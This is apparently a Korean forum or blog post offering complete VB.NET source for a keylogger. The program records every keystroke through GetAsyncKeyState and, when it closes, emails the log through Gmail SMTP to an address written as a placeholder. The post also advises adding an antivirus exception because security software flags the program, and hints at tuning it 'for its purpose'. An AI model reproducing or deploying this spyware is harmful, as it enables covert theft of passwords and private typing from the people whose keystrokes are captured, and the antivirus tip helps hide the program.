키로거를 만들어보자-메일전송기능 포함

V닉맨 2014.11.17 23:32:03 *: Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If (GetAsyncKeyState(65)) Then
log = log + "A"
ElseIf (GetAsyncKeyState(66)) Then
log = log + "B"
ElseIf (GetAsyncKeyState(67)) Then
log = log + "C"
ElseIf (GetAsyncKeyState(68)) Then
log = log + "D"
ElseIf (GetAsyncKeyState(69)) Then
log = log + "E"
ElseIf (GetAsyncKeyState(70)) Then
log = log + "F"
ElseIf (GetAsyncKeyState(71)) Then
log = log + "G"
ElseIf (GetAsyncKeyState(72)) Then
log = log + "H"
ElseIf (GetAsyncKeyState(73)) Then
log = log + "I"
ElseIf (GetAsyncKeyState(74)) Then
log = log + "J"
ElseIf (GetAsyncKeyState(75)) Then
log = log + "K"
ElseIf (GetAsyncKeyState(76)) Then
log = log + "L"
ElseIf (GetAsyncKeyState(77)) Then
log = log + "M"
ElseIf (GetAsyncKeyState(78)) Then
log = log + "N"
ElseIf (GetAsyncKeyState(79)) Then
log = log + "O"
ElseIf (GetAsyncKeyState(80)) Then
log = log + "P"
ElseIf (GetAsyncKeyState(81)) Then
log = log + "Q"
ElseIf (GetAsyncKeyState(82)) Then
log = log + "R"
ElseIf (GetAsyncKeyState(83)) Then
log = log + "S"
ElseIf (GetAsyncKeyState(84)) Then
log = log + "T"
ElseIf (GetAsyncKeyState(85)) Then
log = log + "U"
ElseIf (GetAsyncKeyState(86)) Then
log = log + "V"
ElseIf (GetAsyncKeyState(87)) Then
log = log + "W"
ElseIf (GetAsyncKeyState(88)) Then
log = log + "X"
ElseIf (GetAsyncKeyState(89)) Then
log = log + "Y"
ElseIf (GetAsyncKeyState(90)) Then
log = log + "Z"
ElseIf (GetAsyncKeyState(48)) Then
log = log + "0"
ElseIf (GetAsyncKeyState(49)) Then
log = log + "1"
ElseIf (GetAsyncKeyState(50)) Then
log = log + "2"
ElseIf (GetAsyncKeyState(51)) Then
log = log + "3"
ElseIf (GetAsyncKeyState(52)) Then
log = log + "4"
ElseIf (GetAsyncKeyState(53)) Then
log = log + "5"
ElseIf (GetAsyncKeyState(54)) Then
log = log + "6"
ElseIf (GetAsyncKeyState(55)) Then
log = log + "7"
ElseIf (GetAsyncKeyState(56)) Then
log = log + "8"
ElseIf (GetAsyncKeyState(57)) Then
log = log + "9"
ElseIf (GetAsyncKeyState(96)) Then
log = log + "{Num0}"
ElseIf (GetAsyncKeyState(97)) Then
log = log + "{Num1}"
ElseIf (GetAsyncKeyState(98)) Then
log = log + "{Num2}"
ElseIf (GetAsyncKeyState(99)) Then
log = log + "{Num3}"
ElseIf (GetAsyncKeyState(100)) Then
log = log + "{Num4}"
ElseIf (GetAsyncKeyState(101)) Then
log = log + "{Num5}"
ElseIf (GetAsyncKeyState(102)) Then
log = log + "{Num6}"
ElseIf (GetAsyncKeyState(103)) Then
log = log + "{Num7}"
ElseIf (GetAsyncKeyState(104)) Then
log = log + "{Num8}"
ElseIf (GetAsyncKeyState(105)) Then
log = log + "{Num9}"
ElseIf (GetAsyncKeyState(106)) Then
log = log + "{Num*}"
ElseIf (GetAsyncKeyState(107)) Then
log = log + "{Num+}"
ElseIf (GetAsyncKeyState(108)) Then
log = log + "{Enter}"
ElseIf (GetAsyncKeyState(109)) Then
log = log + "{Num-}"
ElseIf (GetAsyncKeyState(110)) Then
log = log + "{Num.}"
ElseIf (GetAsyncKeyState(111)) Then
log = log + "{Num/}"
ElseIf (GetAsyncKeyState(32)) Then
log = log + " "
ElseIf (GetAsyncKeyState(8)) Then
log = log + "{Backspace}"
ElseIf (GetAsyncKeyState(9)) Then
log = log + "{Tab}"
ElseIf (GetAsyncKeyState(16)) Then
log = log + "{Shift}"
ElseIf (GetAsyncKeyState(17)) Then
log = log + "{Control}"
ElseIf (GetAsyncKeyState(20)) Then
log = log + "{Caps}"
ElseIf (GetAsyncKeyState(27)) Then
log = log + "{Esc}"
ElseIf (GetAsyncKeyState(33)) Then
log = log + "{PGup}"
ElseIf (GetAsyncKeyState(34)) Then
log = log + "{PGdn}"
ElseIf (GetAsyncKeyState(35)) Then
log = log + "{End}"
ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Home}"
ElseIf (GetAsyncKeyState(37)) Then
log = log + "{LArrow}"
ElseIf (GetAsyncKeyState(38)) Then
log = log + "{UArrow}"
ElseIf (GetAsyncKeyState(39)) Then
log = log + "{RArrow}"
ElseIf (GetAsyncKeyState(40)) Then
log = log + "{DArrow}"
ElseIf (GetAsyncKeyState(45)) Then
log = log + "{Insert}"
ElseIf (GetAsyncKeyState(46)) Then
log = log + "{Del}"
ElseIf (GetAsyncKeyState(144)) Then
log = log + "{NumLock}"
ElseIf (GetAsyncKeyState(188)) Then
log = log + "{,}"
ElseIf (GetAsyncKeyState(1)) Then
log = log + "[L]"
ElseIf (GetAsyncKeyState(1)) Then
log = log + "[R]"
End If
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
RichTextBox1.Text = log
End Sub

Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
sendmail()
End Sub

Private Sub sendmail()
Dim Mail As New MailMessage
Mail.Subject = "키로그"
Mail.To.Add("메일주소@gmail.com")
Mail.From = New MailAddress("메일주소@gmail.com")
Mail.Body = log
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("메일주소@gmail.com", "메일계정 암호")
SMTP.Port = "587"
SMTP.Send(Mail)

End Sub
End Class

* 사용자가 입력한 키값을 저장했다가 프로그램을 종료하면 메일로 전송하는 코드 입니다

 

* 실행하면 백신이 바이러스로 인식해서 차단시킵니다-검사예외 등록 해야함

 

* 사용용도(?)에 맞게 타이머 인터벌을 조정할 필요가 있습니다

 

 

1.png